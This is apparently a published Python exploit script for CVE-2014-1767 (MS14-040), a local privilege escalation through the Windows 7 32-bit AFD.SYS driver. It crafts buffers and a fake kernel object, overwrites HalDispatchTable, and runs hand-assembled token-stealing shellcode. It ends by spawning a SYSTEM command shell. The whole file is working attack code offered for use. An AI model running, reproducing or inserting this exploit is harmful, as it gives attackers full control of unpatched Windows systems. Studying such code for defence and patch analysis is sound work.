281 lines
No EOL
10 KiB
Python
Executable file
281 lines
No EOL
10 KiB
Python
Executable file
# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer
|
|
# Date: 2016-02-05
|
|
# Exploit Author: Rick Larabee
|
|
# Vendor Homepage: www.microsoft.com
|
|
# Version: Windows 7, 32 bit
|
|
# Tested on: Win7 x32
|
|
# afd.sys - 6.1.7600.16385
|
|
# ntdll.dll - 6.1.7600.16385
|
|
#
|
|
# CVE : CVE-2014-1767
|
|
# Category: Local Privilege Escalation
|
|
# References:
|
|
# http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
|
|
# http://ricklarabee.blogspot.com/
|
|
# https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/
|
|
# https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
|
|
# http://www.cvedetails.com/cve/CVE-2014-1767/
|
|
#
|
|
# Greetz: PWN4GEPWN1E, SecurityMook
|
|
|
|
|
|
|
|
from ctypes import *
|
|
import socket, time, os, struct, sys
|
|
from ctypes.wintypes import HANDLE, DWORD
|
|
|
|
kernel32 = windll.kernel32
|
|
ntdll = windll.ntdll
|
|
Psapi = windll.Psapi
|
|
|
|
MEMRES = (0x1000 | 0x2000)
|
|
PAGEEXE = 0x00000040
|
|
Zerobits = c_int(0)
|
|
RegionSize = c_int(0x1000)
|
|
written = c_int(0)
|
|
|
|
FakeObjSize = 0xA0
|
|
|
|
GENERIC_READ = 0x80000000
|
|
GENERIC_WRITE = 0x40000000
|
|
GENERIC_EXECUTE = 0x20000000
|
|
GENERIC_ALL = 0x10000000
|
|
INVALID_HANDLE_VALUE = -1
|
|
|
|
WSAGetLastError = windll.Ws2_32.WSAGetLastError
|
|
WSAGetLastError.argtypes = ()
|
|
WSAGetLastError.restype = c_int
|
|
SOCKET = c_int
|
|
WSASocket = windll.Ws2_32.WSASocketA
|
|
WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
|
|
WSASocket.restype = SOCKET
|
|
closesocket = windll.Ws2_32.closesocket
|
|
closesocket.argtypes = (SOCKET,)
|
|
closesocket.restype = c_int
|
|
connect = windll.Ws2_32.connect
|
|
connect.argtypes = (SOCKET, c_void_p, c_int)
|
|
connect.restype = c_int
|
|
|
|
class sockaddr_in(Structure):
|
|
_fields_ = [
|
|
("sin_family", c_short),
|
|
("sin_port", c_ushort),
|
|
("sin_addr", c_ulong),
|
|
("sin_zero", c_char * 8),
|
|
]
|
|
|
|
def findSysBase(drvname=None):
|
|
ARRAY_SIZE = 1024
|
|
myarray = c_ulong * ARRAY_SIZE
|
|
lpImageBase = myarray()
|
|
cb = c_int(1024)
|
|
lpcbNeeded = c_long()
|
|
drivername_size = c_long()
|
|
drivername_size.value = 48
|
|
|
|
Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
|
|
for baseaddy in lpImageBase:
|
|
drivername = c_char_p("\x00"*drivername_size.value)
|
|
if baseaddy:
|
|
Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,
|
|
drivername_size.value)
|
|
if drvname:
|
|
if drivername.value.lower() == drvname:
|
|
print "[+] Retrieving %s info..." % drvname
|
|
print "[+] %s base address: %s" % (drvname, hex(baseaddy))
|
|
return baseaddy
|
|
else:
|
|
if drivername.value.lower().find("krnl") !=-1:
|
|
print "[+] Retrieving Kernel info..."
|
|
print "[+] Kernel version:", drivername.value
|
|
print "[+] Kernel base address: %s" % hex(baseaddy)
|
|
return (baseaddy, drivername.value)
|
|
return None
|
|
|
|
|
|
def CreateBuffer1():
|
|
inbuf1size = 0x30
|
|
virtualAddress = 0x18888888
|
|
length = 0x20000
|
|
|
|
inbuf1 = "\x00" * 0x18 + struct.pack("L", virtualAddress) #0x1a
|
|
inbuf1 += struct.pack("L", length) #0x20
|
|
inbuf1 += "\x00" * 0x8 + "\x01"
|
|
inbuf1 += "\x00" * (inbuf1size - len(inbuf1))
|
|
|
|
baseadd = c_int(0x1001)
|
|
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
|
|
byref(baseadd),
|
|
0x0,
|
|
byref(RegionSize),
|
|
MEMRES,
|
|
PAGEEXE)
|
|
kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written))
|
|
|
|
|
|
def CreateBuffer2():
|
|
inbuf2size = 0x10
|
|
addrforbuf2 = 0x0AAAAAAA
|
|
|
|
inbuf2 = "\x01\x00\x00\x00"
|
|
inbuf2 += struct.pack("L", addrforbuf2)
|
|
inbuf2 += "\x00" * (inbuf2size -len(inbuf2))
|
|
|
|
baseadd = c_int(0x2001)
|
|
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
|
|
byref(baseadd),
|
|
0x0,
|
|
byref(RegionSize),
|
|
MEMRES,
|
|
PAGEEXE)
|
|
kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written))
|
|
|
|
def CreateFakeObject():
|
|
print "[+] Print creating fakeobject"
|
|
fakeobject2addr = 0x2200
|
|
fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C)
|
|
fakeobj2size = len(fakeobject2)
|
|
kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))
|
|
|
|
objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x01\x00\x00\x00\x01\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x16\x00\x08\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00")
|
|
|
|
|
|
fakeobject = objhead
|
|
fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4)
|
|
fakeobject += "\x41" * (FakeObjSize - len(fakeobject))
|
|
kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written))
|
|
|
|
print "[+] creating socket..."
|
|
sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)
|
|
|
|
if sock == -1:
|
|
print "[-] no luck creating socket!"
|
|
sys.exit(1)
|
|
|
|
print "[+] got sock 0x%x" % sock
|
|
|
|
addr = sockaddr_in()
|
|
addr.sin_family = socket.AF_INET
|
|
addr.sin_port = socket.htons(135)
|
|
addr.sin_addr = socket.htonl(0x7f000001)
|
|
|
|
connect(sock, byref(addr), sizeof(addr))
|
|
|
|
print "[+] sock connected."
|
|
print "\n[+] GO!"
|
|
|
|
(krnlbase, kernelver) = findSysBase()
|
|
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
|
|
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
|
|
HalDispatchTable -= hKernel
|
|
HalDispatchTable += krnlbase
|
|
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
|
|
halbase = findSysBase("halmacpi.dll")
|
|
OS = "7"
|
|
if OS == "7":
|
|
HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7
|
|
_KPROCESS = "\x50"
|
|
_TOKEN = "\xf8"
|
|
_UPID = "\xb4"
|
|
_APLINKS = "\xb8"
|
|
|
|
print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)
|
|
|
|
IoStatus = c_ulong()
|
|
IoStatusBlock = c_ulong()
|
|
|
|
CreateBuffer1()
|
|
CreateBuffer2()
|
|
CreateFakeObject()
|
|
|
|
inbuf1 = 0x1000
|
|
inbuf2 = 0x2000
|
|
hWF = HANDLE(0)
|
|
FakeWorkerFactoryADDR = 0x2100
|
|
|
|
|
|
# Trigger 1
|
|
# afd!afdTransmitFile
|
|
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0)
|
|
|
|
CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0))
|
|
|
|
ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0)
|
|
hWFaddr = hWF
|
|
print "[+] WorkerFactoryHandle:", hWF.value
|
|
hWFaddr = int(addressof(hWF))
|
|
|
|
shellcode_address = 0x00020700
|
|
padding = "\x90"*2
|
|
HalDispatchTable0x4 = HalDispatchTable + 0x4
|
|
|
|
_WFValue = struct.pack("L", hWFaddr)
|
|
|
|
sc_pointer = struct.pack("L", shellcode_address+0x4)
|
|
restore_ptrs = "\x31\xc0" + \
|
|
"\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
|
|
"\xa3" + struct.pack("L", HalDispatchTable0x4)
|
|
|
|
tokenstealing = "\x52" +\
|
|
"\x53" +\
|
|
"\x33\xc0" +\
|
|
"\x64\x8b\x80\x24\x01\x00\x00" +\
|
|
"\x8b\x40" + _KPROCESS +\
|
|
"\x8b\xc8" +\
|
|
"\x8b\x98" + _TOKEN + "\x00\x00\x00" +\
|
|
"\x89\x1d\x00\x09\x02\x00" +\
|
|
"\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
|
|
"\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
|
|
"\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
|
|
"\x75\xe8" +\
|
|
"\x8b\x90" + _TOKEN + "\x00\x00\x00" +\
|
|
"\x8b\xc1" +\
|
|
"\x89\x90" + _TOKEN + "\x00\x00\x00"
|
|
|
|
fixobjheaders = "\x33\xC0" +\
|
|
"\x64\x8B\x80\x24\x01\x00\x00" +\
|
|
"\x8B\x40\x50" +\
|
|
"\x8B\x80\xF4\x00\x00\x00" +\
|
|
"\x8B\xD8" +\
|
|
"\x8B\x00" +\
|
|
"\x8B\x0D" + _WFValue +\
|
|
"\x83\xE1\xFC" +\
|
|
"\x03\xC9" +\
|
|
"\x03\xC1" +\
|
|
"\xC7\x00\x00\x00\x00\x00" +\
|
|
"\x83\xC3\x30" +\
|
|
"\x8B\xC3" +\
|
|
"\x8B\x1B" +\
|
|
"\x83\xEB\x01" +\
|
|
"\x89\x18" +\
|
|
"\x5B" +\
|
|
"\x5A" +\
|
|
"\xC2\x10\x00"
|
|
|
|
|
|
shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
|
|
shellcode_size = len(shellcode)
|
|
orig_size = shellcode_size
|
|
startPage = c_int(0x00020000)
|
|
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
|
|
kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))
|
|
|
|
|
|
### Trigger 2
|
|
## afd!AfdTransmitPackets
|
|
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0)
|
|
|
|
ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)
|
|
|
|
ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ;
|
|
|
|
inp = c_ulong()
|
|
out = c_ulong()
|
|
inp = 0x1337
|
|
qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
|
|
print "[*] Spawning a SYSTEM shell..."
|
|
os.system("cmd.exe /K cd c:\\windows\\system32") |